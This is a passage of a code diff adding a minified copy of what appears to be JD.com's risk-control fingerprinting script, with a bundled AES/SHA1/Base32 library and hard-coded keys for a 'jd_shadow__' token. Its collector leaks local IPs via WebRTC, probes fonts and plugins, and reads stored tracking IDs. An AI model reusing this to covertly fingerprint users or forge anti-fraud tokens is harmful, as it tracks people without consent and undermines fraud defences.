this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { + var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() { + } + + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () { + }, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); + x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } + }); + var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); + x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } + }); + var k = v.algo = {}; + v.channel = {}; + return v +}(Math); +JDDSecCryptoJS.lib.Cipher || function (t) { + var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); + v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 + }); + var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); + n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m + }(); + var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } + }; + v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 + }); + var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } + }); + u.format = {}; + var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } + }) +}(); +(function () { + var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; + (function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } + })(); + var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; + v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } + b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 + }); + t.AES = u._createHelper(v) +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; + u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } + }); + t.SHA1 = x._createHelper(u); + t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.channel; + u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } + }; + u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } + } +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.lib.WordArray; + t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + } +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} + +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", + _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", + _url_query_str = "", + _root_domain = "", + _CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) { + } + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) + }(), + jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } + }() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { + } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { + } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { + } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { + } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { + }, function () { + }) + }, function () { + }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { + } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { + } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { + } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { + } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { + } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { + } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { + } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { + } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { + } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { + } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script 